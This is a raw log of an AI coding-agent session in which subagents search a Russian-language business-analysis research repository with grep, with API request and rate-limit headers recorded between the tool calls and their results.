\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\n./runs/2026/RUN-0068/logs/experiment-log.md:38:- \u00a7 / \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a / \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0438\u0437 frontmatter \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 runtime-\u0411\u0417\\n./runs/2026/RUN-0068/outputs/README.md:20:MANGO_BA_RUNTIME_MAIN=/path/to/mango-ba-ai-runtime python3 experiments/issue_363/generate_run.py\\n./runs/2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md:23:- SSOT: \u0411\u0417 [`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/91406e430aeb70dabf20548eee0ea95127f42690/docs/kb)\\n./runs/2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md:30:| 1 | \u041e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 (\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e, \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e) \u0431\u0435\u0437 \u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a\u043e\u0432, \u0430\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u0430\u043a \u043d\u0430 \u0410\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441\u0442\u0430\u0446\u0438\u043e\u043d\u0430\u0440\u043d\u043e\\n./runs/2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md:31:| 2 | \u0422\u0440\u0435\u0431\u0443\u0435\u043c\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442: SIPv2 (UDP). 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\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0422\u0424\u041e\u041f \u043d\u043e\u043c\",\n[2026-09-29T07:46:10.766Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:10.766Z] [INFO]       }\n[2026-09-29T07:46:10.766Z] [INFO]     ]\n[2026-09-29T07:46:10.766Z] [INFO]   },\n[2026-09-29T07:46:10.766Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"uuid\": \"683ee165-dcba-43d0-a465-89418261e570\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:10.760Z\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:10.766Z] [INFO] }\n[2026-09-29T07:46:10.791Z] [STDOUT] [log_ea6be8] sending request {\n[2026-09-29T07:46:10.795Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:10.799Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:10.809Z] [STDOUT]   options: {\n[2026-09-29T07:46:10.815Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:10.822Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:10.830Z] [STDOUT]     body: {\n[2026-09-29T07:46:10.838Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:10.845Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:10.849Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:10.856Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:10.865Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:10.869Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:10.874Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:10.877Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:10.880Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:10.883Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:10.895Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:10.942Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:10.962Z] [STDOUT]     },\n[2026-09-29T07:46:10.976Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:11.010Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:11.015Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:11.020Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:11.027Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:11.033Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:11.036Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:11.040Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:11.044Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:11.056Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:11.061Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:11.066Z] [STDOUT]     },\n[2026-09-29T07:46:11.069Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:11.072Z] [STDOUT]   },\n[2026-09-29T07:46:11.075Z] [STDOUT]   headers: {\n[2026-09-29T07:46:11.078Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:11.082Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:11.086Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": 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https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 766ms\n[2026-09-29T07:46:11.560Z] [STDOUT] [log_ea6be8] response start {\n[2026-09-29T07:46:11.563Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:11.565Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:11.570Z] [STDOUT]   headers: {\n[2026-09-29T07:46:11.574Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:11.578Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:11.582Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:11.586Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:11.591Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:11.594Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:11.598Z] [STDOUT]   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\"no-cache\",\n[2026-09-29T07:46:11.632Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:11.643Z] [STDOUT]     \"cf-ray\": \"a4295f617a974d8b-FRA\",\n[2026-09-29T07:46:11.647Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:11.651Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:11.653Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:11.656Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:11.659Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:11 GMT\",\n[2026-09-29T07:46:11.663Z] [STDOUT]     \"request-id\": \"req_011CfXMp9d3WyakJDh2zqjsi\",\n[2026-09-29T07:46:11.666Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:11.670Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:11.674Z] [STDOUT]     traceresponse: \"00-4507225d03499b0c0a31749c9e2ac380-fdd1f21fe2f5dfb1-01\",\n[2026-09-29T07:46:11.677Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:11.680Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:11.685Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:11.691Z] [STDOUT]   },\n[2026-09-29T07:46:11.696Z] [STDOUT]   durationMs: 766,\n[2026-09-29T07:46:11.702Z] [STDOUT] }\n[2026-09-29T07:46:11.709Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:11.713Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:11 GMT\",\n[2026-09-29T07:46:11.717Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:11.722Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:11.726Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:11.731Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:11.738Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:11.745Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:11.753Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:11.759Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:11.763Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:11.776Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:11.781Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:11.786Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:11.789Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:11.793Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:11.797Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:11.802Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:11.805Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:11.810Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:11.814Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:11.819Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:11.823Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:11.830Z] [STDOUT]   \"request-id\": \"req_011CfXMp9d3WyakJDh2zqjsi\",\n[2026-09-29T07:46:11.838Z] [STDOUT]   \"traceresponse\": \"00-4507225d03499b0c0a31749c9e2ac380-fdd1f21fe2f5dfb1-01\",\n[2026-09-29T07:46:11.844Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:11.853Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:11.857Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:11.860Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:11.864Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:11.872Z] [STDOUT]   \"cf-ray\": \"a4295f617a974d8b-FRA\",\n[2026-09-29T07:46:11.876Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:11.884Z] [STDOUT] [log_ea6be8] response parsed {\n[2026-09-29T07:46:11.891Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:11.897Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:11.901Z] [STDOUT]   body: X {\n[2026-09-29T07:46:11.907Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:11.911Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:11.919Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:11.923Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:11.926Z] [STDOUT]     },\n[2026-09-29T07:46:11.929Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:11.935Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:11.940Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:11.947Z] [STDOUT]   },\n[2026-09-29T07:46:11.956Z] [STDOUT]   durationMs: 767,\n[2026-09-29T07:46:11.962Z] [STDOUT] }\n[2026-09-29T07:46:11.968Z] [INFO] {\n[2026-09-29T07:46:11.968Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"message\": {\n[2026-09-29T07:46:11.968Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"id\": \"msg_011CfXMovbxP27QkvRKEz2in\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:11.968Z] [INFO]     \"content\": [\n[2026-09-29T07:46:11.968Z] [INFO]       {\n[2026-09-29T07:46:11.968Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:11.968Z] [INFO]         \"id\": \"toolu_016PCve2M3tAEnjHaL9u8HS8\",\n[2026-09-29T07:46:11.968Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:11.968Z] [INFO]         \"input\": {\n[2026-09-29T07:46:11.968Z] [INFO]           \"command\": \"grep -rn -i '\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d' --include=*.md . | grep -v '^./research/ba-requirements/exp' | cut -c1-280 | head -40\",\n[2026-09-29T07:46:11.968Z] [INFO]           \"description\": \"Search cognitive across repo\"\n[2026-09-29T07:46:11.968Z] [INFO]         },\n[2026-09-29T07:46:11.968Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:11.968Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:11.968Z] [INFO]         }\n[2026-09-29T07:46:11.968Z] [INFO]       }\n[2026-09-29T07:46:11.968Z] [INFO]     ],\n[2026-09-29T07:46:11.968Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:11.968Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:11.968Z] [INFO]       \"cache_creation_input_tokens\": 2523,\n[2026-09-29T07:46:11.968Z] [INFO]       \"cache_read_input_tokens\": 84107,\n[2026-09-29T07:46:11.968Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:11.968Z] [INFO]         \"ephemeral_5m_input_tokens\": 2523,\n[2026-09-29T07:46:11.968Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:11.968Z] [INFO]       },\n[2026-09-29T07:46:11.968Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:11.968Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:11.968Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:11.968Z] [INFO]     },\n[2026-09-29T07:46:11.968Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:11.968Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:11.968Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:11.968Z] [INFO]   },\n[2026-09-29T07:46:11.968Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"uuid\": \"95d2698e-302c-4ee7-906f-7c1e95352bb9\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:11.678Z\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"request_id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:11.968Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:11.968Z] [INFO] }\n[2026-09-29T07:46:11.975Z] [INFO] {\n[2026-09-29T07:46:11.975Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"description\": \"Running Search cognitive across repo\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:11.975Z] [INFO]     \"total_tokens\": 87319,\n[2026-09-29T07:46:11.975Z] [INFO]     \"tool_uses\": 25,\n[2026-09-29T07:46:11.975Z] [INFO]     \"duration_ms\": 102401\n[2026-09-29T07:46:11.975Z] [INFO]   },\n[2026-09-29T07:46:11.975Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"uuid\": \"60a6f85f-9bab-4277-9fbd-43cadcce75d5\",\n[2026-09-29T07:46:11.975Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:11.975Z] [INFO] }\n[2026-09-29T07:46:13.008Z] [INFO] {\n[2026-09-29T07:46:13.008Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:13.008Z] [INFO]   \"message\": {\n[2026-09-29T07:46:13.008Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:13.008Z] [INFO]     \"content\": [\n[2026-09-29T07:46:13.008Z] [INFO]       {\n[2026-09-29T07:46:13.008Z] [INFO]         \"tool_use_id\": \"toolu_016PCve2M3tAEnjHaL9u8HS8\",\n[2026-09-29T07:46:13.008Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:13.008Z] [INFO]         \"content\": \"./ops/backlog.md:289:| **B-124** | \u041f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0411\u0410-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 BABOK | **P2** | B-121 | deferred (icebox) | [#557](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557) | [\u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f, \u00a71 30-dec\\n./ops/backlog.md:338:| **B-141** | \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u043c\u0430\u043a\u0440\u043e-\u043c\u043e\u0434\u0443\u043b\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u043f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 | **P1** | \u2014 | todo | [#561](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561) | [\u041f\u043e\u043f\u0440\u0430\u0432\u043a\u0438 \u041f-1\u2026\u041f-5, \u00a71 \\n./ops/artifact-map.md:92:| `/research/mango/2026-08-17-mango-ba-processes-and-dod-ontology.md` | \u0430\u043d\u0430\u043b\u0438\u0437 | \u0441\u043f\u0440\u0430\u0432\u043a\u0430 | Inventory Analysis \u0434\u043b\u044f issue #512: \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u0414\u041e\u0414 \u0432 \\n./ops/artifact-map.md:408:| `/projects/ba-ai-process/ba-meta-model/operation-taxonomy/` | \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 | \u2014 | RRP-\u043c\u043e\u0434\u0443\u043b\u044c \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410 (issue #571): \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\\n./projects/ba-ai-process/ba-meta-model/20-taxonomy.md:80:\u041e\u0441\u044c \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438: **\u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b**. \u0421\u043b\u043e\u0432\u0430\u0440\u044c, \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0437\\n./projects/ba-ai-process/ba-meta-model/20-taxonomy.md:89:\u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 (`extract`, `transform`, `generate`, `check`,\\n./projects/ba-ai-process/ba-meta-model/20-taxonomy.md:96:| `OP-1` | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u043e\u0434\u043d\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0432\u044b\u0445\u043e\u0434\u0430. \u041c\u0438\u043a\u0440\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 (\ufffd\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md:24:| `D4` | 8 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 13 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438: `understanding` \u2014 \u00ab\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\ufffd\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md:43:| `OA-4` | **\u041e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u0437 \u043f\u044f\u0442\u0438 (\u00a73). \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md:51:## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md:48:| `OI-3` | ID \u0441\u0442\u0430\u0431\u0438\u043b\u0435\u043d \u043f\u0440\u0438 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438; \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u0435\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md:230:\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/30-decision-framework.md:29:| 3 | \u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b (\u00a73 \u0442\u0435\u043e\u0440\u0438\u0438)? | **\u043d\u0430\u0432\u044b\u043a** (`L3`) | \u0448\u0430\u0433 4 |\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/30-decision-framework.md:85:| `EO-4` | \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043a\u043b\u0430\u0441\u0441 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u0438 \u043e\u043d \u043e\u0434\u0438\u043d | \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f |\\n./projects/ba-ai-process/ba-meta-model/operation-taxonomy/00-introduction.md:27:2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 